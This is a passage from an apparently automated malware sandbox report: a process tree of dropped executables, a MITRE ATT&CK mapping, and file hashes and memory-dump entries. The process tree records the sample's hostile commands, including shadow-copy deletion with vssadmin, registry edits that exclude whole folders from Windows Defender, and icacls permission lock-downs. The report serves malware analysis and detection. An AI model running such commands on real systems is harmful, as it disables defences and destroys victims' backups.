    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:1776
- C:\Program Files (x86)\QqZpRT\QqZpRT.exe
  "C:\Program Files (x86)\QqZpRT\QqZpRT.exe"
  2⤵
  - UAC bypass
  - Drops file in Drivers directory
  - Executes dropped EXE
  - Loads dropped DLL
  - Adds Run key to start application
  - Drops file in Program Files directory
  - Event Triggered Execution: Screensaver
  - System Location Discovery: System Language Discovery
  - Checks processor information in registry
  - Modifies Control Panel
  - Suspicious use of WriteProcessMemory
  - System policy modification
  PID:4420
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c vssadmin delete shadows /all /quiet
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:4748
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\QqZpRT" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4700
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\QqZpRT" /inheritance:r
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:1744
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:1564
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:4404
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:5480
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\QqZpRT" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5616
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\QqZpRT" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:6032
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\QqZpRT" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1484
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\QqZpRT" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:1132
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\QqZpRT\QqZpRT.exe" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3600
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\QqZpRT\QqZpRT.exe" /inheritance:r
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:3312
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\QqZpRT\QqZpRT.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:996
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\QqZpRT\QqZpRT.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:4560
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\QqZpRT\QqZpRT.exe" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2824
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\QqZpRT\QqZpRT.exe" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:5268
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\QqZpRT\image.png" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2072
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\QqZpRT\image.png" /inheritance:r
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:3568
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\QqZpRT\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2216
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\QqZpRT\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:2036
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\QqZpRT\image.png" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2136
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\QqZpRT\image.png" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:2768
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\QqZpRT\thumbs.db" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5188
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\QqZpRT\thumbs.db" /inheritance:r
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:1180
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\QqZpRT\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1792
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\QqZpRT\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:5584
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\QqZpRT\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2736
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\QqZpRT\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:2076
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\QqZpRT\XPSPLOG.dll" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3384
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\QqZpRT\XPSPLOG.dll" /inheritance:r
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:2756
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\QqZpRT\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2008
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\QqZpRT\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:5604
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\QqZpRT\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2404
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\QqZpRT\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:1944

C:\Users\Public\vIqwgZ\Qbkqc7.exe
"C:\Users\Public\vIqwgZ\Qbkqc7.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1424

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\vIqwgZ" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2940
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\vIqwgZ" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:4792

C:\Windows\system32\cmd.exe
cmd.exe
1⤵
PID:3976

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3736
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:1252

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2432
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:716

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2272
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:1952

C:\Program Files (x86)\QqZpRT\QqZpRT.exe
"C:\Program Files (x86)\QqZpRT\QqZpRT.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:5112

C:\Program Files (x86)\QqZpRT\QqZpRT.exe
"C:\Program Files (x86)\QqZpRT\QqZpRT.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:4876

C:\Program Files (x86)\3f3NLD5b\xI0bsG.exe
"C:\Program Files (x86)\3f3NLD5b\xI0bsG.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:3000

C:\Program Files (x86)\3f3NLD5b\xI0bsG.exe
"C:\Program Files (x86)\3f3NLD5b\xI0bsG.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:1488

C:\Program Files (x86)\QqZpRT\QqZpRT.exe
"C:\Program Files (x86)\QqZpRT\QqZpRT.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:1268

C:\ProgramData\xMEnIMbo.exe
"C:\ProgramData\xMEnIMbo.exe"
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:3008

C:\ProgramData\H6rda6ny\NFGJSk2B.exe
"C:\ProgramData\H6rda6ny\NFGJSk2B.exe"
1⤵
- UAC bypass
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Modifies registry class
- System policy modification
PID:2708

C:\ProgramData\q6H1R6VJ\Pzy39Bs0.exe
"C:\ProgramData\q6H1R6VJ\Pzy39Bs0.exe" 1776
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1700

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Screensaver

T1546.002

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Screensaver

T1546.002

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

File and Directory Permissions Modification

T1222

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

Clear Persistence

T1070.009

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Remote Services

T1021

Remote Desktop Protocol

T1021.001

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

XPSPLOG.dll

Path C:\Program Files (x86)\3f3NLD5b\XPSPLOG.dll
Size 4.6MB
SHA256 9517feab306a73e45f73dc1114d8ed0e142e677daadb719044b695d593e00209
MD5 30d7272d9772fcce4626db8a7ecd71bc
SHA1 0b619b0bb2244b559a63e39039e8610f5c5a8073
SHA512 1f76563dabb0f9b9b3acff79e32ed56c622b064e7e27f75a45f82e644001d6775e7f645a1514abab56efc2c03d6d707a91e39b2e395973d486f763b67183aa79
SSDEEP 98304:yCMWmcKfST5t+BceThTHfaCCUqmJPCYvboB1fdmy4:BMWKfU+BcUTHCCCfqCiUffn4
TLSH
T131263349BADB025DD89672704F6AFD7EB2B92CCC4204DC4DD44DE587E8B2729703A90E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

image.png

Path C:\Program Files (x86)\3f3NLD5b\image.png
Size 5.0MB
SHA256 3039db95a196c2c9e9b2300c3092002b59c8d45a15a1ffcd79c7ba3c8b1bd3b6
MD5 92ed94140c00c2555d4de0a45ccf8ff1
SHA1 9300520cef2bb2d3d73659e3fc0514a6ce78d916
SHA512 f66c964b020e68053ecf5aac948de05c62e4db923524775ed756001afe6f471209872fbc8437954097c3fdc699d0ca20333e4a0a8b31be5fc477eee57130bcfc
SSDEEP 98304:ZFYrZdgzrNWII7jT4piZg5mNmtgJ+N2T4+C0l7ETp1qM/a6kX6aVmtK:+RIUjDgAk+jkn/IXhVaK
TLSH
T1123633605F0EE7EA8F3B6FEAA22B74C974895BDDC99C44054D76DC6D4DB8240B4208EC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

QqZpRT.exe

Path C:\Program Files (x86)\QqZpRT\QqZpRT.exe
Size 145KB
SHA256 6d6ba2bc9ad414837826f7278bc3e0116f1aeda02d0c2284ed65819f5d9180a8
MD5 5251b98614acffe5c856f4039ca03da3
SHA1 c80ed6716e89d4862f28ebbc130ec5aa362db963
SHA512 d750c9adb08d9525ee9948c0c18c96f0c9520068aa4aa24885ac0d98790a6cc0a8ce0e71e1c669acd4623e0aabfc08c11c02be403f275b01aa4277c4ddab3302
SSDEEP 3072:VafgcZGuY2TqWLGzwRC7kll1xtBQDTCCvtzaYPFPR/M:Yz8upLGaPQDnFzaYPFdM
TLSH
T16AE30852B6808460F76A0B311864F9E44A6EED3C1AD0E95FF2787D3A1E311C38A7756F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

XPSPLOG.dll

Path C:\Program Files (x86)\QqZpRT\XPSPLOG.dll
Size 4.6MB
SHA256 f1da94a88228a6b70a87296b0836fa78d5bb59c2bd45ae6447bf2e4db1940130
MD5 151dc7d36e115bc74e002474f83553b8
SHA1 230fdc83a2d510021d7640d95eacecd4e0403a28
SHA512 e0c72805bae05329b44e91678fe6083db3d3dd79ff487972d50c51b5720ba73dbabdb77458b735a0c984d7b47bb16f30bba99db44f4f48b40d98a4bde74961b4
SSDEEP 98304:yCMWmcKfST5t+BceThTHfaCCUqmJPCYvboB1fdmyp:BMWKfU+BcUTHCCCfqCiUffnp
TLSH
T1CB263349BADB025DD89672704F6AFD7EB2B92CCC4204DC4DD44DE587E8B2729703A90E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

image.png

Path C:\Program Files (x86)\QqZpRT\image.png
Size 5.0MB
SHA256 b309103250704d6f75859465ef7406d35454bd6a2d106eb4f0f944b85af77542
MD5 beb77a470b1d3df6c827015f550e00ab
SHA1 a9c034c68a139a67c27f33ebf5c3fd64dfb5043a
SHA512 9e9df5eafb1b29ce1f4bbe48aa05d0e35e37da9c166407301c12042494b8eefce44047f06343819e901a87dbcd21d1de3500b465683a85b1b6ff26867d13d181
SSDEEP 98304:9FYrZdgzrNWII7jT4piZg5mNmtgJ+N2T4+C0l7ETp1qM/a6kX6aVmtK:qRIUjDgAk+jkn/IXhVaK
TLSH
T1E43633605F0EE7EA8F3B6FEAA22B74C974895BDDC99C44054D76DC6D4DB8240B4208EC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

thumbs.db

Path C:\Program Files (x86)\QqZpRT\thumbs.db
Size 358KB
SHA256 2467b6b41c3b00096c0678bbfa39c8b0711f7648caf60afc0b12076f5bea6665
MD5 c67fa6812b66616ac5f2039b200f8342
SHA1 04c6c224949f1156d3c11c38a4e12c4c9092b500
SHA512 f421b9c57e71c2fd30977f7640d8c4ad8524445175949b463e4064d6c392c5b692da82b47ada36f826a40f8009b097caeb8d02f4271918d133f2b8c3faa74e44
SSDEEP 6144:diACk/u6n9aBOmmD1oQFu0oMOxKnJPWyD9Dcqt1oFsnrqW7mb/:U8u69CghoQxoMTFQqtKFCz7mb/
TLSH
T1BC74F268E6651EFE0E175FECE04F58AE9A8FD9E302C900252BF1C6D1CA106E4941FD5E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

NFGJSk2B.exe

Path C:\ProgramData\H6rda6ny\NFGJSk2B.exe
Size 475KB
SHA256 43f3fcab87e50de0572ac20a0d579dd0fe2be39c0584b4b39557ea9c064016b0
MD5 01d7d10a8db34f8294e84653b107eeeb
SHA1 028e2c798404f6ceffd18acea11a168009b101ac
SHA512 5714abf88d023f09650e2fdabf01e637bc46abb9c09fb54ce28eef34da874d0f879620512b13b1d7aec52810affecc8d3db94c4feb93bfe71ce0f8c889f198e8
SSDEEP 12288:gNrhTLpMP+R+QDCfA832AtBYmz6af0F7Z1QVjSOsJ/V:gthTiP+ffCfB5Lf0F7Z1EDsVV
TLSH
T1C2A42322B76BD826EB0E083542A5DF7D497ABD02F889834301B97F5F7D363905D1DA09
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

xMEnIMbo.exe

Path C:\ProgramData\xMEnIMbo.exe
Size 2.8MB
SHA256 84c25be3b2d6a7ff2ad7bad8ace1db6c3f98feae88bcfc221b622655fc565f90
MD5 2b86ac00c2e5a7404c3dfa8afeab35ad
SHA1 15d42d66614fb9caf95569e917dd58c49d0e9246
SHA512 44376ae9b9229f242b525cddb538930b4a2d7c16924d11060d41e8f52b6ffe0903d03ca625adad75dbb9a61619f722b5e6b61b22d454e0bb1e7f20f63aba7848
SSDEEP 49152:8kVu2qp1+UyfJ8aT+3d7QZi9inS0dAoh+8EBaIK/RgKEdjETid8:Ro2mqs2ZoiFAq+BZWmYd
TLSH
T174D523494D9A42DAE1C25D70D753A7C532F1644AE8F84D283FC3398264B1FA7523FCAA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

0DA515F703BB9B49479E8697ADB0B955_4136D3715888E22D65EBE484B233D81B

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_4136D3715888E22D65EBE484B233D81B
Size 1KB
SHA256 b783b8e2ab4d49bd62308caed253ca87bcdf00c493e3b809af06672762d84e0b
MD5 5049ab126cf8d063b9f893f578922713
SHA1 a70bbea91afcff247b31d5e81f6d20d409f1d1b8
SHA512 925124b878b96a470a63ad808addca7993ca60a870d948d741a8a994266ac8352a3c191ebb4a2e4d54d0ae097e69c0d57123ecdae401d7b1df086d0ee57fb8c8
TLSH
T1B321E98A0BB139A1BFC07E9733C6D6276DE276C098BD002A113AD48711107D2BB9790E
MD5 SHA1 SHA512 TLSH

Submit Download

B039FEA45CB4CC4BBACFC013C7C55604_FA4759C1FDA1D5B56F6A969553761240

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B039FEA45CB4CC4BBACFC013C7C55604_FA4759C1FDA1D5B56F6A969553761240
Size 1KB
SHA256 6218d19e5fcbc0c1a249f82a46ff7302cf12d5cd58533669616709b8ffdf3721
MD5 24e7257a51a0df514b8aa0b53e049d2f
SHA1 daf1e68ea0f8f56648e690797e1ea3a687de7612
SHA512 a9f45c379379f020e02cca0dc900504f8d682d0779ca28e7e3cd1f17ca02e8ddfeb79fd31849ecc1528d06fc18d1224c62e9d192f9f8cfcae72197cbefb431f9
TLSH
T14721B9874B672512E742DD4919C4EE736CE596E545CC1815B04FC3BA04043F2A64A57E
MD5 SHA1 SHA512 TLSH

Submit Download

0DA515F703BB9B49479E8697ADB0B955_4136D3715888E22D65EBE484B233D81B

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_4136D3715888E22D65EBE484B233D81B
Size 508B
SHA256 300bd393088105654de713eba8c3eb590018358550ec0fea7bb03070cb148685
MD5 30c0260dca0afc61e8924513a27e1ce6
SHA1 a0ee00e95bb31c10e35a283ea735dfa8d704afd7
SHA512 2952217fc35ad5ef10eb5c24f5093cf1239760a86d55f41c0a0bc3b6e0147a316923439a728b744f38d3bf2ddaf93907f822fa424bc4a7d945612f3d4f5312c5
TLSH
T108F05C3848B84529F132CE394BDB7DA6467BE712200E426153D04748BA06F062E1263D
MD5 SHA1 SHA512 TLSH

Submit Download

B039FEA45CB4CC4BBACFC013C7C55604_FA4759C1FDA1D5B56F6A969553761240

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B039FEA45CB4CC4BBACFC013C7C55604_FA4759C1FDA1D5B56F6A969553761240
Size 510B
SHA256 553910c7adaafe11b985a51a69124c1e7a3c083c53d83e87cfda4990067ce54e
MD5 561450bfbc9a81df4389cdd38f609e7c
SHA1 7369e80a28c1e92bc1b18f61db92143a2f6066f3
SHA512 20cb9b28fc6fd5e1b46b127849576c304a6958030d0e566d42d4d446900261edc5090fc347106311c9c290f4d84c30328abdbecbdca484432cc92b237d9c50cf
TLSH
T1F1F05C381EE56508F136CB7856F363F16357FA1328158BFE0D6A07586A16D529C8223D
MD5 SHA1 SHA512 TLSH

Submit Download

destopbak.ini

Path C:\Users\Public\Music\destopbak.ini
Size 2B
SHA256 dd1e2826c0124a6d4f7397a5a71f633928926c0608b62fb9e615ba778acc39ff
MD5 7e74f75663e5b5a4f3452a4c603ee45d
SHA1 d5114b086b721f2c87ea7152025792958ab4c629
SHA512 2f5d0d45593487bebc2ccf968eaf2a4a3bde1d5a29c7c2b5ad411e041c0d3b7a46be439ed7083093057a96030683b9defbed1a2ef7882b3e64cf3fbc7c9cf12f
MD5 SHA1 SHA512

Submit Download

Qbkqc7.exe

Path C:\Users\Public\vIqwgZ\Qbkqc7.exe
Size 135KB
SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
MD5 9ec587911e501b73b7cf09f05d0ae17d
SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
TLSH
T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

UxEnhance64.dll

Path C:\Users\Public\vIqwgZ\UxEnhance64.dll
Size 3.1MB
SHA256 cab712d991431d4547729e8473a03cbe7ec7b3069c2922893728cfa041315a48
MD5 6f4c25b8b920f4502523b7dc8dae2f40
SHA1 f08d8796188936ec4d1350dd6d398bd08b3911ff
SHA512 bd6dcf185bff3cde7369d6857ac47b67973d21d794228538111717809487bc292fa9dde0263e494c466fa9846f05d72f5f4bc46928b9c1247b7457fb241772f5
SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB+N:P9m29xx3Tiqt06ox6+z2rNNrKoN
TLSH
T1B6E523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

adoresd.dat

Path C:\Users\Public\vIqwgZ\adoresd.dat
Size 4.7MB
SHA256 0691d9158adb5991ee71d80b7d38b62fb0d9a764e8f7a6452ea0154333c64887
MD5 75e50311a0b7be0b1543e0aae7cdbb58
SHA1 2dd3ffa23edc661192015160e6106f95a33406e2
SHA512 41194aa9881aab98888af10c7a753a23d2f338c84972a4034b8c20a0e376553706146e025226a30f57f7445e1ab0780033b04e209616ab9625f3cbb6779b2fed
SSDEEP 98304:oKC/XwuPMlcCGQtZspbohHC0CYxm5YrKjaHhIVyU8zU9VQIr6K:oKClqhi0Cv54K2IVS0VQg
TLSH
T1B63633C90DC0ED7D61810A8478A91192F6713147E2F1E6E8FD6C7E0AB87FD52E1A3B58
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

msadox.tb

Path C:\Users\Public\vIqwgZ\msadox.tb
Size 8KB
SHA256 0fcaf56a72eabe968ee9601bfb14348a6915ef070095da776b136b6cf61c0a73
MD5 63dd457ec60510da8ff31f525a4f4dab
SHA1 4cd0fbe5d0cf47f98570f50ac731d154e231f8ff
SHA512 b98d23a52094d28df3a43feb70770a6b1f164ae5a7a2c1d33fcd11430b9faa50d6a9e50fbd7e8602f435d7a0a3384729ab56ccc133af438a181b76bd292c1017
SSDEEP 192:KqbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:KsZqZOXQ3uqvR2Kfzp
TLSH
T1FC029E05D7A20DC3E2016C71CD9EB2F5AB23A1DADA3926719C67D4C167072DD2CE620D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

xxxx.ini

Path \??\c:\xxxx.ini
Size 2B
SHA256 7eb70257593da06f682a3ddda54a9d260d4fc514f645237f5ca74b08f8da61a6
MD5 81051bcc2cf1bedf378224b0a93e2877
SHA1 ba8ab5a0280b953aa97435ff8946cbcbb2755a27
SHA512 1b302a2f1e624a5fb5ad94ddc4e5f8bfd74d26fa37512d0e5face303d8c40eee0d0ffa3649f5da43f439914d128166cb6c4774a7caa3b174d7535451eb697b5d
MD5 SHA1 SHA512

Submit Download

memory/1164-605-0x00000282F2900000-0x00000282F291E000-memory.dmp

Download

memory/1164-599-0x00000282F28B0000-0x00000282F28D2000-memory.dmp

Download

memory/1164-607-0x00000282F2920000-0x00000282F292A000-memory.dmp

Download

memory/1164-606-0x00000282F2B90000-0x00000282F2C42000-memory.dmp

Download

memory/1268-797-0x0000000000AC0000-0x0000000000AC1000-memory.dmp

Download

memory/1268-798-0x0000000074E20000-0x000000007556A000-memory.dmp

Download

memory/1268-803-0x00000000033B0000-0x0000000003BB3000-memory.dmp

Download

memory/1424-583-0x0000024354ED0000-0x0000024355757000-memory.dmp

Download

memory/1424-584-0x0000024354ED0000-0x0000024355757000-memory.dmp

Download

memory/1424-572-0x00007FF9A5AB0000-0x00007FF9A5FCE000-memory.dmp

Download

memory/1424-575-0x0000024354ED0000-0x0000024355757000-memory.dmp

Download

memory/1424-578-0x00007FF9C88A0000-0x00007FF9C88A2000-memory.dmp

Download

memory/1424-579-0x0000024354ED0000-0x0000024355757000-memory.dmp

Download

memory/1424-587-0x00007FF9C8890000-0x00007FF9C8892000-memory.dmp

Download

memory/1424-585-0x0000024354ED0000-0x0000024355757000-memory.dmp

Download

memory/1424-586-0x0000024354ED0000-0x0000024355757000-memory.dmp

Download

memory/1488-801-0x0000000003CB0000-0x00000000044B3000-memory.dmp

